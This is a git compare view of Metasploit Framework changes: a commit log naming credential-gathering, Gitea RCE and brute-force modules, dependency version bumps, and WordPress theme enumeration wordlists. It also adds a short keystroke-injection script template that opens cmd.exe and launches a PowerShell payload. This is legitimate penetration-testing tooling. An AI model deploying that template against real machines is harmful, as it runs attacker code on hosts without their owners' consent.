三米前有蕉皮 7caf2eb9dc Update documentation/modules/post/windows/gather/credentials/navicat.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 11:29:25 +08:00
三米前有蕉皮 70400960f4 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-12 11:28:36 +08:00
三米前有蕉皮 dc5b2ae4a6 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-12 10:41:01 +08:00
三米前有蕉皮 0c9e874a65 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 10:31:16 +08:00
cn-kali-team 819dcd7889 update 2022-10-04 17:57:28 +08:00
krastanoel 95503be49a Update documentation 2022-10-03 19:57:25 +07:00
krastanoel bd15798be7 support windows platform 2022-10-03 19:57:09 +07:00
cn-kali-team 3fa2268aa1 fix username 2022-10-03 00:07:30 +08:00
cn-kali-team 2f3378fc4a Gather_Navicat 2022-10-02 23:48:09 +08:00
krastanoel aa0dc86bd8 get csrf from the html body instead 2022-10-01 19:59:23 +07:00
krastanoel e3fc3544cd still could not yet support windows 2022-10-01 17:44:44 +07:00
krastanoel 02b5f8678c add repository error class 2022-10-01 17:43:42 +07:00
krastanoel e9d8068078 update and tidy the lib comments 2022-10-01 16:22:21 +07:00
krastanoel 15c956c2d6 Update module
- add command stagers logic
- set default uripath
2022-10-01 16:19:43 +07:00
krastanoel 046bb356fb adjust uripath 2022-10-01 15:17:28 +07:00
krastanoel 2331f21f9e Update module
- adjust create, migrate and delete repository with the common lib
2022-10-01 01:16:18 +07:00
krastanoel cc2db82886 add repository create and migrate helpers 2022-10-01 01:13:28 +07:00
krastanoel 29944a0a1b add repository create and migrate url 2022-10-01 01:12:54 +07:00
krastanoel c5d3867980 add migration error class 2022-10-01 01:11:58 +07:00
krastanoel 88e4261a88 Add common lib for Gitea repository 2022-10-01 01:10:55 +07:00
krastanoel 953221d518 Handle datastore username empty string 2022-09-30 22:23:40 +07:00
krastanoel 381bdbae7f Update module
- adjust check method using common lib
- handle autocheck false
2022-09-30 22:14:45 +07:00
krastanoel cbff63958c Move version check and login to common library 2022-09-30 22:09:01 +07:00
krastanoel 36f3a7ce11 update options description 2022-09-30 16:57:59 +07:00
krastanoel 7e46ba4575 use fail with instead checkcode 2022-09-30 16:50:34 +07:00
krastanoel e1284ea17d handle get_csrf check caller separately 2022-09-30 16:45:49 +07:00
Jan Rude 62e0500729 Update syncovery_file_sync_backup.rb 2022-09-16 13:38:37 +02:00
jrude 8f6fd55d9f add review suggestions 2022-09-16 13:34:06 +02:00
Jan Rude 2fc637438f use safe navigation operator
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:25:04 +02:00
Jan Rude 8332bff1d8 use correct if statement
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:21:35 +02:00
Jan Rude 2eb4c27d0c remove unused proof
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:21:11 +02:00
krastanoel 60569b8b97 Add Gitea Git fetch RCE module - CVE-2022-30781 2022-09-15 19:43:12 +07:00
Jan Rude fa2f2e6d5d linting
This is getting ridiculous...
2022-09-08 19:51:56 +02:00
Jan Rude 25757d45be linting again... 2022-09-08 19:36:17 +02:00
jrude 9ce9c63a03 use json 2022-09-08 19:24:41 +02:00
Jan Rude 3179fc11b3 use json parser
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-09-08 17:55:48 +02:00
Jan Rude 8ba86a646c linting 2022-09-08 11:28:27 +02:00
Jan Rude b0a6c60684 linting 2022-09-08 11:15:08 +02:00
Jan Rude 9cb136a209 Wording 2022-09-07 13:15:36 +02:00
jrude 1757a5dedf Syncovery login brute-force utility 2022-09-07 12:46:32 +02:00
351 changed files with 14875 additions and 2110 deletions
+3 -3
View File
@@ -43,9 +43,9 @@ RUN apk add --no-cache \
ENV GO111MODULE=off
RUN mkdir -p $TOOLS_HOME/bin && \
cd $TOOLS_HOME/bin && \
curl -O https://dl.google.com/go/go1.11.2.src.tar.gz && \
tar -zxf go1.11.2.src.tar.gz && \
rm go1.11.2.src.tar.gz && \
curl -O https://dl.google.com/go/go1.19.3.src.tar.gz && \
tar -zxf go1.19.3.src.tar.gz && \
rm go1.19.3.src.tar.gz && \
cd go/src && \
./make.bash
+59 -59
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.25)
metasploit-framework (6.2.30)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -30,7 +30,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.97)
metasploit-payloads (= 2.0.101)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.20)
mqtt
@@ -128,30 +128,30 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.648.0)
aws-sdk-core (3.162.0)
aws-partitions (1.671.0)
aws-sdk-core (3.168.3)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.341.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-ec2 (1.354.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.71.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-iam (1.73.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.58.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-kms (1.60.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.115.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-s3 (1.117.2)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sigv4 (1.5.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
bcrypt_pbkdf (1.1.0)
bindata (2.4.13)
bindata (2.4.14)
bson (4.15.0)
builder (3.2.4)
byebug (11.1.3)
@@ -160,8 +160,8 @@ GEM
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
debug (1.6.2)
irb (>= 1.3.6)
debug (1.7.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
dnsruby (1.61.9)
@@ -185,12 +185,12 @@ GEM
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (2.23.0)
faker (3.0.0)
i18n (>= 1.8.11, < 2)
faraday (2.6.0)
faraday (2.7.1)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.1)
faraday-net_http (3.0.2)
faraday-retry (2.0.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
@@ -216,12 +216,12 @@ GEM
i18n (1.12.0)
concurrent-ruby (~> 1.0)
io-console (0.5.11)
irb (1.4.2)
irb (1.5.1)
reline (>= 0.3.0)
jmespath (1.6.1)
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.6.2)
json (2.6.3)
little-plugger (1.1.4)
logging (2.3.1)
little-plugger (~> 1.1)
@@ -229,13 +229,13 @@ GEM
loofah (2.19.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (1.0.0)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (4.0.5)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-credential (5.0.9)
metasploit-credential (6.0.0)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -249,8 +249,8 @@ GEM
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.97)
metasploit_data_models (5.0.5)
metasploit-payloads (2.0.101)
metasploit_data_models (5.0.6)
activerecord (~> 6.0)
activesupport (~> 6.0)
arel-helpers
@@ -258,7 +258,7 @@ GEM
metasploit-model (>= 3.1)
pg
railties (~> 6.0)
recog (~> 2.0)
recog
webrick
metasploit_payloads-mettle (1.0.20)
method_source (1.0.0)
@@ -271,9 +271,9 @@ GEM
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.17.1)
net-protocol (0.1.3)
net-protocol (0.2.0)
timeout
net-smtp (0.3.2)
net-smtp (0.3.3)
net-protocol
net-ssh (7.0.1)
network_interface (0.0.2)
@@ -292,17 +292,17 @@ GEM
packetfu (1.1.13)
pcaprub
parallel (1.22.1)
parser (3.1.2.1)
parser (3.1.3.0)
ast (~> 2.4.1)
patch_finder (1.0.2)
pcaprub (0.13.1)
pdf-reader (2.10.0)
pdf-reader (2.11.0)
Ascii85 (~> 1.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.4.4)
pg (1.4.5)
pry (0.13.1)
coderay (~> 1.1)
method_source (~> 1.0)
@@ -312,9 +312,9 @@ GEM
public_suffix (5.0.0)
puma (6.0.0)
nio4r (~> 2.0)
racc (1.6.0)
racc (1.6.1)
rack (2.2.4)
rack-protection (3.0.2)
rack-protection (3.0.4)
rack
rack-test (2.0.2)
rack (>= 1.3)
@@ -332,10 +332,10 @@ GEM
rainbow (3.1.1)
rake (13.0.6)
rb-readline (0.5.5)
recog (2.3.23)
recog (3.0.3)
nokogiri
redcarpet (3.5.1)
regexp_parser (2.6.0)
regexp_parser (2.6.1)
reline (0.3.1)
io-console (~> 0.5)
rex-arch (0.1.14)
@@ -388,18 +388,18 @@ GEM
rex-text
rexml (3.2.5)
rkelly-remix (0.0.7)
rspec (3.11.0)
rspec-core (~> 3.11.0)
rspec-expectations (~> 3.11.0)
rspec-mocks (~> 3.11.0)
rspec-core (3.11.0)
rspec-support (~> 3.11.0)
rspec-expectations (3.11.1)
rspec (3.12.0)
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.0)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-mocks (3.11.1)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-support (~> 3.12.0)
rspec-rails (6.0.1)
actionpack (>= 6.1)
activesupport (>= 6.1)
@@ -410,25 +410,25 @@ GEM
rspec-support (~> 3.11)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.11.1)
rubocop (1.37.0)
rspec-support (3.12.0)
rubocop (1.39.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.2.1)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.22.0, < 2.0)
rubocop-ast (>= 1.23.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.22.0)
rubocop-ast (1.24.0)
parser (>= 3.1.1.0)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.2.0)
ruby_smb (3.2.1)
bindata
openssl-ccm
openssl-cmac
@@ -445,12 +445,12 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (3.0.2)
sinatra (3.0.4)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.2)
rack-protection (= 3.0.4)
tilt (~> 2.0)
sqlite3 (1.5.3)
sqlite3 (1.5.4)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
swagger-blocks (3.0.0)
@@ -460,12 +460,12 @@ GEM
rack (>= 1, < 3)
thor (1.2.1)
tilt (2.0.11)
timecop (0.9.5)
timeout (0.3.0)
timecop (0.9.6)
timeout (0.3.1)
ttfunk (1.7.0)
tzinfo (2.0.5)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2022.5)
tzinfo-data (1.2022.7)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
@@ -496,7 +496,7 @@ GEM
webrick
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.6.1)
zeitwerk (2.6.6)
PLATFORMS
ruby
+35 -35
View File
@@ -10,16 +10,16 @@ afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.648.0, "Apache 2.0"
aws-sdk-core, 3.162.0, "Apache 2.0"
aws-sdk-ec2, 1.341.0, "Apache 2.0"
aws-sdk-iam, 1.71.0, "Apache 2.0"
aws-sdk-kms, 1.58.0, "Apache 2.0"
aws-sdk-s3, 1.115.0, "Apache 2.0"
aws-partitions, 1.663.0, "Apache 2.0"
aws-sdk-core, 3.168.0, "Apache 2.0"
aws-sdk-ec2, 1.350.0, "Apache 2.0"
aws-sdk-iam, 1.73.0, "Apache 2.0"
aws-sdk-kms, 1.59.0, "Apache 2.0"
aws-sdk-s3, 1.117.1, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.13, ruby
bindata, 2.4.14, ruby
bson, 4.15.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
@@ -29,7 +29,7 @@ concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
debug, 1.6.2, "ruby, Simplified BSD"
debug, 1.6.3, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.9, "Apache 2.0"
docile, 1.4.0, MIT
@@ -41,9 +41,9 @@ erubi, 1.11.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.23.0, MIT
faraday, 2.6.0, MIT
faraday-net_http, 3.0.1, MIT
faker, 3.0.0, MIT
faraday, 2.7.1, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.0.0, MIT
faye-websocket, 0.11.1, "Apache 2.0"
ffi, 1.15.5, "New BSD"
@@ -59,21 +59,21 @@ http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.12.0, MIT
io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.4.2, "ruby, Simplified BSD"
irb, 1.4.3, "ruby, Simplified BSD"
jmespath, 1.6.1, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.2, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.19.0, MIT
memory_profiler, 1.0.0, MIT
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.5, "New BSD"
metasploit-credential, 5.0.9, "New BSD"
metasploit-framework, 6.2.25, "New BSD"
metasploit-framework, 6.2.30, "New BSD"
metasploit-model, 4.0.6, "New BSD"
metasploit-payloads, 2.0.97, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
metasploit-payloads, 2.0.101, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.6, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.0, MIT
@@ -85,7 +85,7 @@ mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.17.1, MIT
net-protocol, 0.1.3, "ruby, Simplified BSD"
net-smtp, 0.3.2, "ruby, Simplified BSD"
net-smtp, 0.3.3, "ruby, Simplified BSD"
net-ssh, 7.0.1, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
@@ -101,15 +101,15 @@ parallel, 1.22.1, MIT
parser, 3.1.2.1, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.10.0, MIT
pg, 1.4.4, "Simplified BSD"
pdf-reader, 2.11.0, MIT
pg, 1.4.5, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 5.0.0, MIT
puma, 6.0.0, "New BSD"
racc, 1.6.0, "ruby, Simplified BSD"
rack, 2.2.4, MIT
rack-protection, 3.0.2, MIT
rack-protection, 3.0.3, MIT
rack-test, 2.0.2, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.4.3, MIT
@@ -117,9 +117,9 @@ railties, 6.1.7, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.23, unknown
recog, 3.0.3, unknown
redcarpet, 3.5.1, MIT
regexp_parser, 2.6.0, MIT
regexp_parser, 2.6.1, MIT
reline, 0.3.1, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
@@ -137,33 +137,33 @@ rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.43, "New BSD"
rex-sslscan, 0.1.8, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.45, "New BSD"
rex-text, 0.2.46, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.11.0, MIT
rspec-core, 3.11.0, MIT
rspec-expectations, 3.11.1, MIT
rspec-mocks, 3.11.1, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.0, MIT
rspec-expectations, 3.12.0, MIT
rspec-mocks, 3.12.0, MIT
rspec-rails, 6.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.11.1, MIT
rubocop, 1.37.0, MIT
rubocop-ast, 1.22.0, MIT
rspec-support, 3.12.0, MIT
rubocop, 1.39.0, MIT
rubocop-ast, 1.23.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.2.0, "New BSD"
ruby_smb, 3.2.1, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 3.0.2, MIT
sqlite3, 1.5.3, "New BSD"
sinatra, 3.0.3, MIT
sqlite3, 1.5.4, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
@@ -173,7 +173,7 @@ timecop, 0.9.5, MIT
timeout, 0.3.0, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.5, MIT
tzinfo-data, 1.2022.5, MIT
tzinfo-data, 1.2022.6, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.3.0, MIT
@@ -188,4 +188,4 @@ winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.28, MIT
zeitwerk, 2.6.1, MIT
zeitwerk, 2.6.6, MIT
@@ -71,6 +71,8 @@
<B N="V"><%= arg[:value].to_s %></B>
<% elsif arg[:value].is_a? String %>
<S N="V"><%= arg[:value].encode(xml: :text) %></S>
<% elsif arg[:value].is_a? Nokogiri::XML::Element %>
<%= arg[:value].to_s %>
<% end %>
</MS>
</Obj>
@@ -8,7 +8,7 @@
</soap:Header>
<soap:Body>
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
<m:UnresolvedEntry><%= name %></m:UnresolvedEntry>
</m:ResolveNames>
</soap:Body>
</soap:Envelope>
@@ -0,0 +1,14 @@
REM Title: Metasploit Generated Payload
REM Description: Opens a payload via powershell on the system
REM Version: 1.0
REM Open start menu
REM We use cmd.exe since the powershell payload is likely too long for the run bar
GUI r
DELAY 750
STRING cmd.exe
DELAY 750
ENTER
DELAY 750
STRING powershell.exe %{var_payload}
DELAY 750
ENTER
+2 -1
View File
@@ -54,4 +54,5 @@ easy-wp-smtp
duplicator_download
custom-registration-form-builder-with-submission-manager
woocommerce-abandoned-cart
elementor
elementor
bookingpress
File diff suppressed because it is too large Load Diff
+1448
View File
@@ -168,17 +168,21 @@ aanews
aanglo
aapna
aarambha-blogger
aarambha-real-estate
aargee
aari
aaron
aaron-modified-intent
aartus
aasta
aasta-light
aav1
aazeen
ab
ab-folio
abacus
abacus-hotel
abadir
abalane
abaris
abaya
@@ -204,6 +208,8 @@ abingle
abiolian-business
abisteel
abitno
ablanka
ablanna
able
abletone
ablog
@@ -239,6 +245,7 @@ abythens
ac-board
ac-care
ac-repair
ac-repair-services
academic
academic-clear
academic-education
@@ -289,6 +296,8 @@ accountant-child
accountantlaw
accountants-theme
accounting
accounting-techup
accountra
accssesspress-stdasore
ace
ace-blog
@@ -312,6 +321,7 @@ acommerce
acool
acosminblogger
acoustics
across
act-child
act-theme-lite
actify
@@ -396,6 +406,9 @@ adney
adonis
adorable-blog
adoration
adore-blog
adore-business
adore-news
adri
adrian-lite
adrielly-saponi
@@ -414,17 +427,20 @@ advance-blog
advance-blogging
advance-business
advance-coaching
advance-consultancy
advance-ecommerce-store
advance-ecommerce-store1
advance-education
advance-fitness-gym
advance-it-company
advance-marketing-agency
advance-one-page
advance-pet-care
advance-portfolio
advance-portfolio-0-1
advance-simple-blue
advance-startup
advance-techup
advance1-fitness-gym
advantage
advent
@@ -442,6 +458,8 @@ adventure-travel
adventure-travelling
adventurous
advertica-lite
advertising-techup
advertisingly-blog
advik-blog-lite
adviso
advisory
@@ -457,7 +475,9 @@ aemi
aemi-child
aemon
aeonaccess
aeonblock
aeonblog
aeonium
aeonmag
aera
aereo
@@ -481,8 +501,10 @@ affiliate-booster
affiliate-booster-sk
affiliate-marketingly
affiliate-newspaperly
affiliate-review
affiliateblogwriter
affiliates-bloglet
affiliatex
affilicious-theme
affilistrap
affilivice
@@ -518,6 +540,9 @@ agency-x
agency-zita
agencyup
agencyup-dark
agencywp
agencyx
agencyx-blog
agensy
aggiornare
agile-spirit
@@ -526,9 +551,12 @@ agility-wp
agindo
agiva
aglee-lite
agnar
agncy
agni
agri-lite
agriculture-farm
agriculture-farming
agroamerica
agronomics-lite
aguafuerte
@@ -556,6 +584,7 @@ airi-patricia
airi1
airiteste
airiwachswachs
airl
airmail-par-avion
airnews
airship
@@ -576,11 +605,14 @@ akarsh-blog
akash
akasse
akbar
akblog
akella
akhada-fitness-gym
aki-blog
akihabara
akira
akisa
akisa-lite
akks
akpager
aktivitetisormland
@@ -595,12 +627,15 @@ alacrity-lite
aladdin
alagu
alamein
alanah-free
alanding-lite
alante
alante-blog
alante-blue
alante-boxed
alante-business
alante-corporate
alante-dark
alante-eboxed
alante-ebusiness
alante-emagazine
@@ -616,13 +651,16 @@ alante-x
alante2
alantrarose
alara
alaska-blog
alaska-free
alaymack
alba
alba-lite
alba-tumblog
albacore
albar
albatross
alberta
albinomouse
albizia
alce
@@ -684,6 +722,7 @@ alizee
alkalia
alkane
alkimia
alkio
alkivia-chameleon
alku
all-about-coffee
@@ -704,7 +743,10 @@ allegiant
allegiant-2
allegiant1
allegiantly
allegro
allele
alleria
alley
alley-home-services
alley-themes
allied-uri-httpflytunes-fmthemesaries
@@ -739,6 +781,7 @@ alodabaty-uri-httpswww-alodabaty-com
alodabaty-uri-httpswww-alodabaty-comthemesalodabatymagazine-lite
alodabaty-uri-httpswww-alodabaty-comthemesmhmagazine-lite
aloja
alok
alones
alovernat
alowa
@@ -791,6 +834,7 @@ alurra
alux
alvaro-uri-httpsthemepalace-comdownloadstravel-ultimate
alvn-pizza
always
always-twittingtwitter-themeat4us
alyena
alyssas-blog
@@ -829,6 +873,7 @@ ambiguity
ambika
ambirurmxd
ambision
ambitio
ambition
ambling-bellows
ambrosia
@@ -865,6 +910,7 @@ amoresyamores
amp
amp-accelerated-mobile-pages
amp-publisher
ampark
ampbase
ampface
ampface-base
@@ -900,16 +946,19 @@ anacronico-uri-httpanacroniconet63netblog
anadbry
anaglyph-lite
anakin-mobile
analog
analogbd
analogous
analytica
analytical-lite
anamio
anand
ananya
anarcho-notepad
anassar
anatomy-lite
anatta
anc-news
anchor
anchorage
andar
@@ -933,6 +982,7 @@ andygray
anecdote-lite
aneeq
anew
anews
anexa
anfaust
anfolder
@@ -951,6 +1001,9 @@ ani-world
aniki
anila
anima
animal-pet-care
animal-pet-shop
animal-wildlife
animals
animass
animate-lite
@@ -1010,6 +1063,7 @@ anvil-theme
anvys
anya
anymags
anymags-blog
anymags-news
anyna
anyonepage
@@ -1020,6 +1074,7 @@ anzelysajt
anzu
aocean
aos-second-version
apace
apazit
apbt
apelle-uno
@@ -1050,9 +1105,11 @@ apostrophe
apothecary
app-landing-page
app7
apparel-store
appcloud
appdetail
appeal
appetizer
appgate
apple
apple-mac-os-x-leopard
@@ -1066,6 +1123,7 @@ application
applicator
appmela
appointable
appointech
appointee
appointment
appointment-blue
@@ -1079,6 +1137,7 @@ apppage
apppresser-mobile
appre
apprise
approach
appsense
appsetter
apptheme-free
@@ -1090,6 +1149,7 @@ apricot
apricot-blog
apt-news
apweb
aqeeq-agency
aqua
aqua-black
aqua-blue
@@ -1097,6 +1157,7 @@ aqua-portfolio
aqua10
aquaapp
aquablock
aquafy-starter
aquaparallax
aquarella-lite
aquarius
@@ -1126,6 +1187,7 @@ arbitragex
arbuda
arbune
arbutus
arc-fse
arcade-basic
arcade-basic-loff
arcade-by-frelocaters
@@ -1133,6 +1195,7 @@ arcana
arcanum
arcegator
arche
archeo
archie
archimedes
architect
@@ -1140,10 +1203,14 @@ architect-architecture
architect-decor
architect-design
architect-designs
architect-engineer
architect-lite
architecto
architectonic
architects
architecture
architecture-building
architecture-designer
architectwp
archy
arclite
@@ -1170,6 +1237,7 @@ argonia
ari
ari-p
ariana
aribest
aribiz
ariblog
ariboom
@@ -1194,6 +1262,7 @@ ariniom
aripop
ariqube
arise
arison-lite
ariwoo
arix
arixoo
@@ -1209,8 +1278,12 @@ armada
armadillo
arman
armando
armata
armenia
armonia
aroid
aromafashion
aromatic
aromatry
aron
aronia
@@ -1225,7 +1298,9 @@ arrival-store
ars-cv
arsenaloide
art-blogazine
art-catalogue
art-gallery
art-gallery-museum
art-magazine
arta
artblog
@@ -1237,6 +1312,7 @@ artefact
artemis
artera
artera-1-0
arterior
artex
artfolio
artgallery
@@ -1254,6 +1330,7 @@ artikler-theme
artisan
artist
artist-lite
artist-portfolio
artistas
artistic
artistic-blog
@@ -1270,12 +1347,14 @@ artsavius-blog
artsavius-wave
artsblue
artsgreen
artsylens
arturo-theme
artwork
artwork-lite
arun
arunachala
aruz
arvada
arwebstudio
arwen
arya-multipurpose
@@ -1291,6 +1370,7 @@ ascendant
ascendant-1
ascendanthh
ascendente
ascendoor-magazine
ascension
ascent
ascent-free
@@ -1316,17 +1396,21 @@ ashe1
ashe2
ashea
ashee
ashlar
ashmi
ashram
ashvalejohn-child
asia-garden
asian-restaurant
asimuk-one
askella
asket-magazine
askiw
asmartgs
asokay
asonant
aspace
aspace-free
aspen
aspiration-i
aspire
@@ -1344,6 +1428,7 @@ aster
asteria-lite
asteria-lite2
asterion
asterisk-lite
asteroid
astha
asthir
@@ -1354,6 +1439,7 @@ astn
astoned
astore
astori
astory
astra
astra-brixco-frd
astrad
@@ -1394,6 +1480,7 @@ atiframe-builder
atlanta
atlantaa
atlantic
atlantisak
atlas
atlas-concern
atlas-re5
@@ -1431,6 +1518,7 @@ attractwhite-theme
atwitteration
atwood
atwpthemes-jasper
atyra
au-restaurant
auberge
auberge-plus
@@ -1471,6 +1559,9 @@ author
author-author
author-blog
author-landing-page
author-personal-blog
author-portfolio
author-writer
authorcentric
authoredrobertson
authority
@@ -1484,11 +1575,14 @@ autmunport
autmunport-1-1
auto-car
auto-car-care
auto-car-dealership
auto-d
auto-dealer
auto-dealer-lite
auto-dezmembrari
auto-insurance-theme
auto-load-next-post-make
auto-motors
auto-show
auto-store
auto-theme
@@ -1500,7 +1594,9 @@ autofocus-lite
autograph
automobile
automobile-car-dealer
automobile-car-services
automobile-hub
automobile-shop
automotive-blog-theme
automotive-centre
autoprice24-auto-parts-shop
@@ -1525,6 +1621,14 @@ avadanta-agency
avadanta-business
avadanta-consulting
avadanta-corporate
avadanta-dark
avadanta-deal
avadanta-finance
avadanta-firm
avadanta-industry
avadanta-invest
avadanta-tech
avadanta-trade
avadar
avail
avak-fitness
@@ -1535,6 +1639,7 @@ avalon-b
avani
avanish
avant
avant-garde
avant-portfolio
avant-x
avante
@@ -1564,7 +1669,9 @@ avik
avior
avira
avis-lite
aviser
avish
avitech
avix-designs
avnii
avoca
